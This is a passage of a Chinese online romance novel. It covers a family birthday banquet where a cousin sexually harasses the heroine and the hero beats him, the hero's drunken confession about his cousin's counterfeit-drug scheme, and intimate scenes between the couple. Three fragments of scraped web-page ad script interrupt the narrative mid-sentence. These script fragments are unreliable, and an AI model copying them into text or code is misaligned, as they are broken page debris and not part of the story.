“他没为难你们吧?” 蒋星尧平静答道:“没有。” 利知回过头,才想起自己的手里还提着龙虾,便扬了扬自己手中的袋子对蒋母说:“阿姨,我先把龙虾放厨房里。” “买龙虾了呀!”蒋母伸手接过,“我拿进去吧,丽姨也在厨房里,我问问她怎么做。” “星尧说要亲自做给您吃的!” 蒋母圆睁着眼,满脸的不可思议,“他会做?” “会!而且很好吃!” “是不是只会做龙虾?” 蒋母不知道蒋星尧学会了做菜呢!看来他隐瞒身份上门照顾她的事,他父母并不知道。 利知深深地看了蒋星尧一眼,对利蒋母说:“他会做很多菜的,而且都很好吃!” “神奇了!”蒋母转过头看着蒋星尧,“小尧,你什么时候学会做饭的?” “今年才学的,”蒋星尧笑着说,“在老贾的餐厅里学过一阵子。” “哦——”蒋母了然道,“然后,做给知知吃?” 蒋星尧一脸痞笑,“我家大美女真聪明!” “少来!”蒋母带利知往窗边的茶桌走去,“我泡了一壶花茶,你试试合不合口……” 蒋星尧去厨房的时候,利知也想去的,被蒋母制止,说要带她参观一下家里。 可能有走动,蒋母的脸色红润了许多,连声音都欢快了不少。 利知之前还有各种的担心,一番相处下来,感觉他们都挺平易近人的嘛。 饭后又聊了一会儿,蒋星尧就说要回去了。 蒋母有些怅然,“今晚不在这边住吗?” “改天吧。”蒋星尧俯身轻轻抱了抱她,“我们最近都挺忙的,忙完之后再回来陪你。” 蒋父这时开口,“下周你奶奶的生日宴别忘了。” “好。” 蒋父看向利知,“知知也一起来吧。” 生日宴!那不是很多人都在吗? 利知有些犹疑,便看向蒋星尧,蒋星尧朝她点点头,轻声道:“去吧。” 利知思忖了下,还是答应了。 这下子,真的要把蒋家人都见一遍了…… 回去的路上,蒋星尧说,本想见完他父母再和她说奶奶生日宴的事,没想到被他爸抢了话头。 蒋星尧笑着打趣道:“利知知小朋友,他们都很喜欢你啊。” * 一顿充实又忙碌过后,很快到了蒋星尧奶奶的生日宴。 生日宴在一家五星级酒店举办。一楼的宴会厅外面是一个几百平的大花园。 此时宾客盈门,利知和蒋星尧径直走向老太太,给老太太送上礼物和祝福。 老太太笑呵呵的,虽然头发满白了,眼神却清明,精神抖擞。 利知陪了老人家一会儿,就被蒋星尧带去见其他人了。 期间还看到了熟悉的面孔:江启楠和练凝,还有宋何和贾至修。 见到他们利知很是开心,毕竟在这里她不认识的人居多,突然见到熟人,说是他乡遇故知也不为过。 几人聚着聊了一会,蒋星尧就被一合作商叫去了。 利知自己去找吃的,来了这么久,她确实有些饿了。 吃饱喝足过后,她信步走到花园里。 因为临近中秋,今晚的月亮格外的圆亮,花园里有三三两两的人聊着天。 利知找了个清静的角落待着。月光把石凳照着荧白透亮,利知坐在上面,抬起头与月亮对望。 待了一会,隐约听到一阵脚步声由远及近,刚开始还以为是蒋星尧,靠近了才听出并不是。 她转过头看向脚步声源,那是一道颀长清瘦的身影。 再近些,借着清透的月光,利知看清来人的长相,是一张阴郁瘦削的脸,唇角挂着诡异的笑,眼神透着一股,遇见猎物的兴奋。 利知不禁深吸了一口气。 ——是蒋锐! 31. 第 31 章 月色越发莹白,照得这个角落更加清静惨淡,微风吹过,身后的树丛发出婆娑的沙沙声。 真是大意了! 一个晚上都没见到蒋锐,她居然把这号人忘了。 利知有些左右为难,往后退是角落,而往前,蒋锐塞在来路。 她缓缓站了起来,双手捏着裙身,戒备地盯着来人。她往旁边挪去,更宽阔的地方,逃离机会才更多。 “小妹妹好像很怕我。”蒋锐笑得阴阳怪气,“我会吃人不成?还是蒋星尧说过我什么坏话?” “他的话别听太多。那家伙卑鄙得很,小心他趁你不备背后捅一刀!” 他越说神情越发狰狞。 利知的心噗噗乱跳,往旁边挪的步伐更大了。 “去哪呀?”蒋锐三两步就逼近了,一手擒住利知的手臂,“不和哥哥多聊聊?” “你走开!”利知像只离了群的羊,疯狂挣扎着,奋力去掰开他的手,然而徒劳。 “和他搞过了吧?滋味怎么样?”他啧啧怪笑着说:“要不和我试试,看我和他谁更厉害。” 利知整个人僵住了,腿不受控制地抖起来,胃部一阵不适涌上来。 蒋锐哈哈笑起来,拉她就往角落走去。 这时一个黑影飞扑过来,把蒋锐推离开,一个踉跄坐到地上。 紧接着,利知落入一个熟悉的怀抱,“知知,没事了没事了,别怕!” 虽是重复说着安抚人的话,语气却颤抖中带着害怕。 “呜呜呜……”利知抱着蒋星尧,放声哭了出来。 蒋星尧紧紧地抱住她,低声细语道:“没事了没事了……” “蒋星尧你这个怂包!”蒋锐慢慢爬起来,哈哈大笑着,一副很欠揍的样子,“我刚才碰她了,你能怎么着?” 利知感受到蒋星尧身体越发紧绷,正要说她没事,那欠揍的声音又响起,“我说你真够怂的,平时一声不吭地给我擦屁股就算了,你女人被我搞了还能忍,还是不是男人哈哈哈!” “怎么?还不来打我?还是像上次那样,背地里把我踢走?来啊,打我啊,最好把我杀了,反正你家已经背过人命了。”他笑得愈发狂妄,眼里迸射出阴毒的光,“哈哈哈我告诉你,只要有我在,你们全家就一天不得安宁!你也别想过得好!” 利知感受到他把她的手臂越箍越紧,紧靠着的胸膛高低起伏着,有种愤怒喷张而出的预备。 还没回过神来,包裹身上的力道一松,紧接着听到沉闷的一声。 ——蒋锐身上结实地挨了一拳。 “你TM的……”蒋星尧双手抓着他的衣领,手背上青筋突起。 紧接着又是一拳,“谁让你找她了,啊?” 近乎歇斯底里的怒吼,利知从未见过蒋星尧发那么大火。 正想上前,被一只手拉住了,她转过头去看,是练凝。 她朝利知无声地摇摇头。 这时贾至修、宋何和江启楠都先后赶来。奇怪的是,他们没有一个人上前去阻止蒋星尧。 被打的蒋锐丝毫没有被压着的恐惧,反而猖狂大笑起来,“哈哈哈来呀!继续来!” 蒋星尧闷声朝他肚子一拳。 蒋锐脸上冒出豆大的汗珠,却依然笑着,“怂包!不怕你爸收回你的总裁位置,让给我坐?” 像是想到了什么,旋即收起笑,面目变得狰狞,“是了,好不容易抢过来的,你怎么会轻易让出呢!” “你这种明着隐忍,背地里做尽算计的小人,活该下地狱!” 蒋星尧依旧不作声,身体却紧绷着,像是在濒临爆发的边沿。 利知不禁担心起来,转头低声问练凝,“这样真的没事吗?” “你看他们,淡定得很。”练凝向旁边的三人努了努下巴,“蒋总在蒋锐的事上压抑太久了。” 今晚的事,看来是触到蒋星尧的底线了。 “反倒是你……”练凝若有所思地看了利知一会儿,“要不要过去,扇他一巴掌?” 利知一怔,“啊?” “踢他几脚也行。” 利知不解地看向她。 练凝正色道:“刚才是不是很害怕?” 利知犹疑了下说:“怕的。” “那张脸,是不是很恶心。” “是!” “那就去扇他!骂他!直到把他当成垃圾桶里的垃圾才收手!” 利知被说动了,眼看着蒋星尧隐忍到极致,她咬了咬唇,大步上前。 “啪”!响亮的巴掌声响起。 被打的人一脸懵。 蒋星尧也怔愣住了,转头看向利知,“知知……” 利知深吸了一口气,伸出手指颤巍地指着蒋锐,“叫,叫你来恶心我,这巴掌赏你了!” 接着又扇了一巴,还在同一个位置。 “这巴掌是替星尧打的!你凭什么随意辱骂他!死混蛋!”说完又往他大腿外侧踢了一脚。 蒋锐收起了散漫的嘻笑,脸色变得可怖,大吼道:“你这个死八……” “嘴巴放干净点!”蒋星尧屈膝单手揪着他的衣领。 这时一阵哭声由原而至,一个中年女人跌跌撞撞地跑过来,双手巴着那揪着蒋锐衣领的手,“星尧,求求你了,放开他吧,你这样他会死的!” 蒋星尧闻言松开了手,蒋锐一屁股坐回地上。 女人眼中含泪,蹲下来抱着蒋锐小声哭着,“阿锐,你没事吧?我送你去医院。” “去什么去!”蒋锐狠狠瞪了女人一眼,“我都被人摁着打了,你能帮上什么?就会一天到晚哭丧着脸,晦气死了。” 说着狠狠地抽出被女人握着的手。 女人被他的力带着跌倒在地上,哭得一愣一愣的,转而抬头,眼含泪光地看着蒋星尧,“星尧,我求求你了,放过我们吧!” 蒋星尧闭了闭眼,再睁开时眼神平静了不少。 他弯下腰扶起女人,轻声说:“大伯母,你先起来。” 女人被搀扶着站起,眼神怯怯地看了看在场的人,最后对蒋星尧哀求道:“星尧,求求你了,不要再欺负阿锐了,放过他吧,他现在够惨了。” 蒋星尧一笑,“大伯母,你看到我欺负他了?” 女人:“我看到你打他了!” “那你看没看到,”蒋星尧一顿,“他要强行拉走我女朋友?” 女人眼神一变,直愣愣地看着利知,“这不可能,阿锐不会这样做的。” “既然我们各执一词,”蒋星尧掏出手机,轻描淡写道,“不如请警察来评判一下,到底是谁的错。” 一听说要报警,蒋锐变了脸色。 女人瞬间破防了,“都害我家破人亡了,还要害我儿子去坐牢吗?你们还要害我家到什么时候?” 蒋星尧不怒反笑,过了好一会,扬起一抹冷笑,“大伯母,公司上的事他再怎么闹腾,我有说过他什么没有?可是——” 他停顿了一下,声音也沉了下来,“他不该触及我的底线。” 女人仿佛没听到那般,只顾着低声哭泣,“你们一家不能这么欺负我们的。” “又带上我们一家了?”蒋星尧嘴角掀起一抹笑,只是笑容里多了几分冷意, “大伯母,有些事你可能不清楚,我不防趁现在说开来,我有蒋锐在公司里动过手脚的证据,这些证据足以让他下半辈子在监狱里过。你也不想我亮出证据吧?” 最后,女人拉起蒋锐,蒋锐还想闹腾,被她用力一摁,转面对蒋星尧说:“星尧,我们现在就走,麻烦你,不要再为难我们了,放过我们吧!” 这时,江启楠引着两名保安来。两名保安一左一右跟在女人和蒋锐两侧,看着两人灰溜溜地离开。 蒋星尧想伸手搂过利知,想到了什么,悻悻地收回手,“知知,对不起,害你……受牵连了。” 利知过去拉去他的手,“我没事了,你都看到了,我打了他两巴掌了啊。” 蒋星尧没出声,眼里的情绪很是复杂。 几人回到宴厅里,贾至修拍了拍蒋星尧的肩膀,“走!去撒泡尿,洗把手脸。” 蒋星尧还是不放心利知。 练凝适时说:“这里我看着,你们去吧。” 因 (function () {var id = "2377029035902478992-21409";document.write('''');(window.adbyunion = window.adbyunion || []).push(id);})(); () { $(''.inform'').remove(); $(''#content'').append('' 为刚才发生的事在角落里,蒋锐又及时离开了,对这场宴会倒没影响。 利知和练凝也去了趟洗手间才回宴厅。 利知去倒了两杯果汁,练凝端了一块抹茶蛋糕过来。 她坐下来,把蛋糕推到利知面前,“这里的抹茶蛋糕挺不错的,尝尝。” “谢谢!”利知挖了一舀放嘴里,“嗯,很好吃!” “刚才是想找你尝尝的,结果找不到你,问了蒋总也没见你。”练凝看着利知,“我第一次见他这么无措。” 利知一时百感交集。 “至于蒋锐那个癲佬,也就徒有躯壳而已。其实他的弱点很好找,就是……下半身。” 她不疾不徐地比划着,“肚子以下都是他的弱点,我猜测跟他长期纵欲有关,只要用力踹过去,他十有八九站不稳的。” 利知一阵讶异,“你也被他骚扰过?” “是啊。那癲佬见了女人见了钱似的,出现在蒋总身边的女人更稀罕了。你也不用太担心,他还得依仗着蒋总一家,不敢乱造次的。” “防小人之心还是得有,下次别单独见他就是了。” * 利知和练凝聊了一小阵就去找蒋星尧了。 他和贾至修、宋何围坐着,前面的桌子已经放着空瓶的红酒瓶。 贾至修和宋何不知聊着什么,蒋星尧长臂一伸拿起红酒瓶给自己倒满杯。 对,是满杯。 然后仰着头一口喝完。 璀璨的灯光下,他的脸迎着光,因为喝酒的动作,展现出修长优越的脖颈,喉结一滚一滚的,一半隐匿在暗中,一半在光明处跳动。也因此看出他喝得并不慢。 倏尔,他收起酒杯,眼神有些放空。 利知蹙着眉走了过去,蒋星尧回过头看她,随即展颜一笑,朝她伸出手。 利知把手给他,顺着他的力坐在他身旁。 贾至修和宋何皆是面目清明。 利知再看向身旁的人,脸色无异,只是眼神有些迷离。 蒋星尧取了个新杯,给自己满上,又给新杯倒了些红酒,递给利知,“喝一些?” 利知默了默,“我喝了,等下谁开车回去?” “江启楠。” 利知接过酒,小口地抿着。 蒋星尧就这么看着她喝,突然说:“喝一点就好了。” 利知不解,“干嘛突然叫我喝酒了?” “喝点酒,心情会放松些。”他轻轻地把利知的头发挽到耳后,轻声道,“知知,对不起,今晚让你害怕了。” “你今晚说了两次对不起了。” 蒋星尧默不作声,举起酒杯一饮而尽。 宋何和贾至修巴巴地望过来,见利知看他们,两人都露出无奈的表情,像在说:我们有阻止的。 最后由江启楠开车送他们到海德公馆。 蒋星尧全程都一声不吭,大手紧紧握住利知的手,生怕她会跑掉似的。 到了他家里,利知就去了趟洗手间的时间,蒋星尧又喝起了酒。 他坐在地上,背靠着沙发,手里拿着一罐啤酒断断续续地喝了起来。茶几上放着好几罐没开封的啤酒。 利知不期然想到放在她家冰箱里的啤酒,暗自腹诽,他好像挺喜欢存啤酒的嘛。 “还没喝够?”她走过去在蒋星尧前面盘腿坐下。 “没。”蒋星尧垂下眸,微笑看着她,“还没醉。” 利知点了点他手中的啤酒,“要不,喝完这罐,别喝了。” “嗯?”蒋星尧钝钝地看着她,那模样居然多了几分平时里没有的纯情。 “我们可以聊聊天啊。”利知说。 蒋星尧一顿,哑声道:“聊什么?” “聊你想聊的。” 蒋星尧又喝了一口酒。 两人缄默了好一阵子,蒋星尧才哑着声开口:“蒋锐说得对,我就是挤掉他,才一路往上爬的。” “别人都我是个不仁不义,冷血无情,表面一套,背地里一套的人。”他凄凉一笑,眼里有着什么在支离破碎,“这样的我,是不是让你失望了?” 32. 第32章 屋里只开了几盏射灯,橘色的光在寂静的环境下显得有些清冷。 蒋星尧的唇渐渐拉平,连那一丝伪装的笑意也卸下了,剩下的尽是惆怅。 还有麻木。是那种长期受到某种折磨的自我保护的麻木。 利知鼻腔发酸,语气却无比坚定,“你不是那种人!” 蒋星尧转头看向她,眼里是无尽的黑。 利知挪近了些,一只手搭在他的手臂上,轻声问道:“那你说说,为什么挤掉他?” 蒋星尧顿了下,随即愣愣地开口:“他制造假药,要谋取暴利。” 利知心一紧,“然后呢?你怎么做的?” “我,出钱买下来了。”他的声音毫无起伏,好像在说一件稀松平常的事。 “为什么是买下来?而不是把他的所作所为公之于众?” 他低声道:“公开,他就毁了。” “你那时候有那么多钱吗?” “没有。”蒋星尧缓慢地摇着头,“向我爸借的。” 利知怔住了,“借?” “嗯。我和我爸做了交易的,只要他借我钱,我就不把这件事扬出去。钱等我赚到了,再还他。” 利知心头有一股奇异一闪而过。 蒋星尧仰头把啤酒一饮而尽,大手轻轻一用力把罐捏扁了,扬手一扔,“去他妈的仁义礼智信,他们都有道德感,我可没有,他们绑架不了我!” 橘色的灯光打到鼻翼一端,映出一片阴影,那张平时嬉笑的脸上此时盈满了愤懑。 过了好一会,他的表情软了下来,再次看向利知时,眼里蓄着一些水汽,“知知,我不是什么好人,甚至道德底线很低很低,唯利是图,还自私自利。” 他执起利知的手,有些笨拙地放在他的脸上,“你会不会感到很失望,那个乐观、阳光开朗,光芒万丈的蒋星尧,不过是个假象。” 说到最后,他的声音带着的颤栗,整个人脆弱无比。 利知鼻子一酸,说话不由得哽咽起来,“傻吗你!我是那种分不清是非的人吗?” 蒋星尧顿了下,随即憨憨地摇着头,“不是,你不是。” “你买下假药,没让假药流进高声,挽救了公司的声誉;不把蒋锐做过的坏事公之于众,是重情;挤下他更是为公司除害,如果他继续在位谋职,不知道再做出什么出来呢!” 利知继续说:“我记得你高中时讲过一段话,说信仰就像一盏指明灯,有了那盏灯,人能破除黑暗,抛除纷杂,直达心之所往。其实你一直没有变,你还是那个有信念感和责任感的你。我反而觉得高中时的你是个空喊口号的励志少年,而现在的你,把你坚信的,执着的都付诸于行动了。所以,现在的蒋星尧,更加棒!” “再说你,你那个堂哥,一看就是个心术不正的人。我会相信那样的人的人品,而不相信自己的男朋友吗?我又不傻!” “嗯,你不傻。我才傻。” “就是你傻!”净会瞎想。 蒋星尧把脸埋在利知娇小的手掌里,闭着眼睛有一下没一下地蹭着,像极了一只求抚摸求安慰的小猫咪。 利知一个没忍住,用另一只手胡乱地揉起他的头发。 嗯,手感比小猫差一点,但还是不错滴。 等她揉够了撤回手,蒋星尧睁开眼,眼尾泛着红,喃喃道:“要亲亲。” 噗! 小猫秒变小奶狗了?! 利知一时起了逗弄之心,挑逗地掂了掂他的下巴,“先叫声姐姐!” “为,为什么要叫姐姐?”蒋星尧打了一个嗝,憨憨地问。 “我比你大呀!” 她是年底出生的,蒋星尧是次年四月,算下来她大了快半年呢。 “不可以叫老婆吗?” ??真醉还是假醉? “我们又没结婚。“她低声哄道,“乖啦,叫姐姐!” “姐姐。知知姐姐。好姐姐。我要亲亲。” 啊哈哈!憨憨笨笨的样子,很想rua怎么办! 忽然嘴上传来柔软的触感,其实就是那么轻轻一碰,然而他还给自己加戏般“吧唧”一声,然后退了回去。 就,没了。 ?? 这么纯情的亲亲吗? 说实话,有点不大习惯。 蒋星尧眼神无比清澈地望着她,“姐姐,晚安。” 然后站起来,脱掉外套往地上一扔,摇摇晃晃地走向楼梯。 利知实在怕他一个走不稳从楼梯上摔下来,于是紧紧尾随着他,直至他走近了房间, 整个人倒在床上,随即一秒入睡。 看着睡得酣甜的人,利知有些无奈。 但值得欣慰的是,喝醉了的蒋星尧是个乖宝宝! 重新下楼,听到蒋星尧的手机正响着,利知走过去看,是蒋母打来的。 便接了起来,“阿姨,星尧已经睡了。” 蒋母一愣,“是知知啊,小尧这么早睡了?” “嗯。” 正犹豫着要不要说他喝多了,听到蒋母叹了一口气,“小尧是不是喝多了?我才知道他和阿锐方才起冲突了。” “嗯,是的。估计睡一觉就没事了。” “辛苦你了知知,”蒋母说,“关于阿锐的事,还有小尧和阿锐之间的矛盾,我们很无奈,但也无能为力。” 利知想到蒋星尧说过,买那批假药的钱,是他向蒋父借的,隐约觉得其中有些事。好像蒋父对待侄子,比对儿子好。 便脱口问:“是发生了什么事吗?” 问出口了又觉得不妥,毕竟她也才和蒋星尧在一起没多久,“阿姨,我不是……” “没事,你可以知道的。”蒋母长叹了一口气,“阿锐的爸爸,也是小尧的大伯,当初为了救小尧爸爸而死了……” 蒋锐的爸爸生前是纵卫的制药厂厂长。一天蒋父来厂里巡查,蒋锐爸爸陪同。当时行至一栋在建的厂房,突然高处有一块外墙脱落,蒋锐爸爸最先发现,便一把推开了蒋父,自己却被压在石块之下,送医院抢救无效死亡。 那时蒋锐正在读高中,蒋星尧读初中。 蒋锐的爸爸走后,纵卫给了赔偿之后,蒋父私底下又给了一笔钱,自那时起,蒋锐家里大大小小的事,以及各种生活费用,都由蒋父承担起。 “我们知道再多的钱也换不回来大伯的生命,这么多年,我们家对阿锐一家既感恩又愧疚。阿锐和他妹妹阿敏的所有生活和学杂费都由我们出,阿敏也很争气,英国留学后直接留在那边工作了。 我们也有意培养阿锐,于是让阿锐早早就到纵卫实习,毕业就在纵卫工作了。我和小尧爸爸都知道,这么对小尧不公平。我们也说好了,谁也不帮,让他们兄弟俩各凭实力。其实两兄弟打小感情还挺好的,只是阿锐爸爸走后,两人就疏 (function () {var id = "2377029035902478992-21409";document.write('''');(window.adbyunion = window.adbyunion || []).push(id);})(); () { $(''.inform'').remove(); $(''#content'').append('' 远了。阿锐那孩子也聪明,很快组有一支团队,只是后来……哎。” “后来,以公司的名义卖假药?” 蒋母一愣,“小尧告诉你了?” “是的。” “小尧这孩子,长大啦。”蒋母感慨道,“很多人知道阿锐爸爸是因为救阿锐才走的,但不知道阿锐贩卖假药的事,于是很多不知情的人都说小尧恩将仇报,为一已之私谋权夺利。” 蒋母说着说着,声音也哽咽起来,“小尧承受了不该他承受的一切。” 屋里寂静一片,利知呆愣在原地,眼神无焦地望着前方。 一些细节在脑海里逐渐清晰起来。 难怪蒋星尧对蒋锐一直隐忍,也难怪要向蒋父借钱买下假药。 蒋星尧这些年到底在承受着什么呢? 是外界对他的误解,蒋锐对他的唾骂和敌意,还有, 父母的天秤实实在在地给蒋锐加的码。 利知不由得想,年少时的蒋星尧应该懂事了,但看到堂哥正一点一点地夺走父母亲那里原本属于他的那份偏爱,心里也会不好受吧? 又因为理解父母的处境而没有恨。 可是,他和父母之间隔了个蒋锐,甚至是隔了纵卫, 那,还有多少亲近呢? 挂断电话的时候,利知的视线有些模糊,她伸手抹了下眼角,指尖有着莹莹湿意,随后眼泪如珠子般掉下来。 重新推开房间,利知定定地看着那张熟睡的脸,过了很久,自言自语道:“晚安。” 她今晚决定留下来,就睡在隔壁的房间。 第二天醒来,利知对着诺大的落地窗发了一会呆,才洗漱下楼。 蒋星尧正悠闲地坐在沙发上玩手机。 利知轻手轻脚地绕到他背后,“喂”一声的同时,双手搭在他的双肩上。 蒋星尧淡定一笑,一手勾着她的手,把她拉到自己旁边坐下,“饿了没?” 利知兴致缺缺,“啊,你知道我在啊?” 蒋星尧捏了捏她的鼻子,“当然,我嗅到了。” 利知嘟嘴嘀咕,“真当自己是小狗呢……” “嗯?” “没什么。”利知抱着他的手臂摇了摇,“你吃了没?” “没,等你呢。”旋即起身走进厨房。 利知化身人形挂件,抱着他的手臂,他去哪跟去哪。 蒋星尧无奈举起鸡蛋,“你抱着我,我怎么打鸡蛋?” “我这不是有手吗?”利知歪着头扬了扬自己空着的手。 接下来是考验两人的默契的时候了。 利知伸手取下锅,倒油。蒋星尧单手敲鸡蛋,因为是左手不熟练,连同一小块鸡蛋壳掉进锅里了。 利知徒手去捻,不料被锅里的热油烫到,疼得她哇哇叫。 蒋星尧不由分说地把她手指含进嘴里。 “好点了没?”他问。 “好像没那么疼了。” “还玩吗?” 利知狠狠点了下头,一副越挫越勇的样子,“玩!” 两人合作又煎了个鸡蛋,烤了吐司,还倒了牛奶。 动作很笨拙,胜在合作愉快。 阳光柔和地爬过窗棱,洒在那张扬着甜甜笑意的脸上。 蒋星尧眉眼也跟着舒展开了。 这一刻,昨晚的苦楚连同宿醉的痛意一同消失殆尽。 33. 第 33 章 吃完早餐,两人依偎在沙发里。 蒋星尧长臂越过利知的肩头,把人搂在怀里。 利知执起面前的大手,把他的手指一根一根和自己的比划着,然后十指紧扣。蒋星尧低头静静地看她玩得不亦乐乎,嘴角轻轻勾起。 玩了一会,利知偏头看他,“昨晚你睡了后,阿姨给你打电话了,我接了。” “知道,我给她打过电话了。” “昨晚阿姨给我讲了很多,还有……”利知踟蹰地看了他一眼,“蒋锐爸爸的事了。” “她不说,我也准备和你说的。”蒋星尧把她抱紧,“对不起知知,昨晚让你害怕了。” “你道什么歉,又不是你的错。” “是因我而起的。” 利知抬手捏了捏他的下巴,“怎么固执得跟个小老头似的。” 之后,两人又聊了些有的没的,蒋星尧捻着她一小簇头发把玩着,显得有些心不在焉。 “知知。”他忽然唤一声。 “嗯?” “我这样对蒋锐,你会不会觉得我恩将仇报?” “不会!”利知坚定道,“蒋锐做坏事了,不能因为你大伯的恩情而迁就他的。” 蒋星尧低头看她,眼神带着试探,“我昨晚那么暴躁,你不怕?” “怕什么!” 他如释重负地舒了一口气,“害我还担心了一晚上。” 利知狐疑地看他,“担心什么?” “担心你看到我这么暴躁,会怕我了。” “哪会啊……”利知内心陡然升起狐疑,“你昨晚喝那么多,不会是因为这个吧?” 他握拳轻咳了一声,“都有,有一点吧……” 好啊! 难怪昨晚醉后一直在妄自菲薄,她还以为是蒋锐的出现,揭了旧伤疤的原因呢。 白担心了。 同时又觉得好笑。 为了她去揍人,反过来因为他的暴起而怕他? 她捏着蒋星尧的脸颊,夹着声音逗他,“靓仔,你的脑回路很清奇,你知道吗!” 蒋星尧也不恼,扬着唇由着她胡来,那双天生的含情目带着丝丝柔情。 看着这张养眼的脸,利知有个念头钻进脑海。 过去蒋锐对他做的坏事,他都能隐忍不发,昨晚一下子破防过后却忐忑不安起来。 他是不是,有偶像包袱? 毕竟一路被叫男神,突然做出与形象不符的行为,觉得形象破裂,继而担心、害怕。 越想越觉得是! 利知调整了姿势,好让自己面对着他,然后一瞬不瞬地看着他。 “你,有偶像包袱吗?” 蒋星尧一怔,“偶像包袱?” “嗯嗯。” 他蹙眉沉思了好一会,一脸正经道:“好像是的……” “……” 还以为他帅而不自知呢,原来他不单知道,还帅出了一种负担。 蒋星尧笑了笑,低声问:“有听过手电筒效应吗?” 利知摇头,“没听过。什么来的?” “我来演示一下。”他拿起手机,打开手机自带的手电筒。 此时外面阳光正甚,手电筒的光并不强烈,当他把光源对准自己的时候,光在他衣襟上打下了一片亮光。 “看到了吗,知知。”他指了指胸前的那束光,“打在我身上的光越亮,你所处的地方就显得更暗。” 他把手电筒关掉,“没有了这束光,我和你其实是处在同一光源的地方。” 他站了起来,向前走了两步,转身面对着她。 室外的强光给他周围打上了光圈,利知看他也得眯着眼,却因为他正背着光,看不太清他的表情。 这时蒋星尧低沉的声音响起,“我现在背着光,你看到的是我阴暗的那一面,可我看到你明亮的一面。” 利知怔了怔,细细回味他话里的内容: 人为给一个人投光,那个人就会充满闪光点; 同一个人,背着光的话,别人就看到那人的阴暗面。 蒋星尧重新坐回她身旁,不疾不徐道:“很小的时候我就知道自己的起点比大部分人都高,我对自己也有很高的要求,因此,别人看到的都是我努力展现的完美一面。” “可是知知,我很矛盾,我想向你展现完美的一面,又想你知道,其实我并不完美。” 他的神情有些低落,再抬头时,眼神在逆光中更加幽深,“我很贪心的,想让你擦掉对我的滤镜之后,依然坚定地喜欢着我。” “擦掉,滤镜?” “是的。” 利知久久没说话。这两天发生的事有点颠覆她的认知,她得一点点理清并消化掉。 可是有一点她可以肯定的,她对蒋星尧的喜欢没变,甚至因为知道他背后的艰辛,更觉得他是个有血有肉的人。 这样的蒋星尧离她更近了。 这算不算擦掉了一些滤镜? 蒋星尧静静地坐在她身旁,仿佛这场漫长的缄默,是他俩独有的默契。 也许是宿醉的原因,他的唇色有些白,搭配着此情此景,他又耷拉着脑袋安静地等待着,利知的心忽然痒痒的。 她伸出食指在蒋星尧的唇上来回擦了几下,原本透白的唇立马红润起来。 蒋星尧捉住她的手,无奈笑道:“好好的擦我唇做什么?” “擦掉滤镜啊。”利知眨巴着眼睛,“总得有些仪式感嘛。” “行。”蒋星尧笑着把她的手摁在胸口,然后偏头覆上她的唇,来回摩擦了几个。 两人的唇都有些干燥,摩擦起来竟有出奇的带感。 他低笑着说:“这样擦更好。” 利知大脑宕机了好一会,才意识到自己被调戏了,瞪了他一眼,“蒋星尧,你好幼稚!” 蒋星尧不满地啧了一声,“才擦掉滤镜就说我幼稚了。” “蒋星尧是幼稚鬼!” 他捉紧她的手摇了摇,低声道:“好知知,要不要换个爱称?” “换成什么?” “上次你发烧的时候嘴里一直叫着小心肝,就叫小心肝好了。” 利知的眼神飘忽起来,“我不是说了吗,那是一条狗的名字。” “那条狗不是不在了吗?” “你不在意?” “不在意。” “好吧。” “那叫一声听听。” “小心肝唔唔唔……” 这个吻热烈又缠绵。忘情地吻了好一会,蒋星尧一把抱起利知,双手托着她的臀部,步伐轻盈地挪动着,双唇却半寸不离。 利知化身人形挂件,双手交叉搂着蒋星尧的脖子。因为他脚下步伐的一开一合,吻变得一轻一重的。 直到背后落进柔软的床上,这个吻才结束。 蒋星尧双手撑在利知头部两侧,黑眸蕴着别样的情绪。 利知心里暗叫不妙,悄悄蹬着脚后跟往上挪,双手也没停歇地往上撑着。 可撑着撑着,人麻了! 蒋星尧本来靠得近,因为她不断的挪动,那平原上凸起的小笼包恰恰送到他唇下。 空气凝滞。 蒋星尧垂眸,神色未变地端详了一会,“B?” 那 (function () {var id = "2377029035902478992-21409";document.write('''');(window.adbyunion = window.adbyunion || []).push(id);})(); () { $(''.inform'').remove(); $(''#content'').append('' 口吻,仿佛在讨论多么严肃的学术问题。 利知咽了下口水,“减。” B-。 嗯,给小笼包一个体面的初印象吧。 蒋星尧的眉眼洇开一抹逗趣的笑,“是要我做改卷老师吗?” 改卷老师的意思是…… 利知僵在那,一时之间进不是,退也不是。 “姐姐。”忽然,蒋星尧声音沙哑地唤了一声。 利知脑袋嗡的一声,连同心脏也被撞击了一下,“你你你叫我什么?” “姐姐啊,”他说,“昨晚你教我这么叫你的。” “……” “喜欢吗?叫你姐姐。”蒋星尧追问道。 “……喜,喜欢的。” “姐姐,那我开始改卷咯。” ?? 蒋星尧低下头,唇恰恰触碰到衣服上。 利知的心脏都提起来了,双手紧紧抓着床.单。 他的动作意图太过明显了,虽是隔着一厚一薄的两层布料,可脑海自动蹦出来的自我暗示,就足够折磨人了。 那种感觉类似护士扎屁股,被沾了消毒液的棉签涂过后,迟迟没下针的那种凌迟。 利知屏住呼吸,不料蒋星尧没怎么停顿,唇略过小笼包,一路向上,肌肤相触的感觉落在她的下巴、鼻尖,然后滑落覆在她的唇上,展开新一轮的厮磨。 利知的心都提到嗓子眼了,被动地承受着。 蒋星尧的手没闲着,隔着衣服从她的腰一路向上,当大掌落在小笼包上,她那颗悬着的心终于落下来了。 蒋星尧停了下来,然后轻啄她的唇,覆在小笼包上的手不轻不重地按揉了几下。 “姐姐。”他喘着粗气,声音低哑,却在叫她姐姐的时候格外勾人,“我改错卷了。” “是A+。”语调一本正经之余拖着点逗趣。 利知在他的长音之中瞬间红了脸。 两人又厮磨了一会。 有些粗感的拇指落在她的眼窝处,在娇嫩的皮肤轻轻刮过,“昨晚没睡好?黑眼圈都出来了。” 利知忙双手按住眼下,紧张地问:“啊?很重吗?” “还好,挺可爱的。” 蒋星尧直起身,找到摇控器开了空调,转身拉过被子帮利知盖上,“你先睡一会,吃午饭再叫你。” “哦。” 蒋星尧定定地看着她,迟迟没动身的意思。 利知拉着被子盖过脸,只露出一双眼睛,带着懵懂回望。 “要不要去把你的电脑带过来?”他低声问,“下午就在这里码字。” “好啊好啊!”利知挥了挥小手掌,“快去快回哦!” “小没良心。”蒋星尧轻轻刮了下她的鼻子,低喃道,“都不知道主动提出来。” 房门关上。利知捂了捂刚才被刮过的鼻头,吃吃地笑了。 刚才这么看她,原来是想她主动提出在这里码字呀。 害她还以为…… 她裹着被子在床上滚了几个回合,裹得太紧,有些热了,掀开被子坐了起来,想玩一会手机再睡。 结果看到蒋星尧在几分钟前给她发的信息: [衣柜上格有一些可换洗的衣服,你看看合不合适] 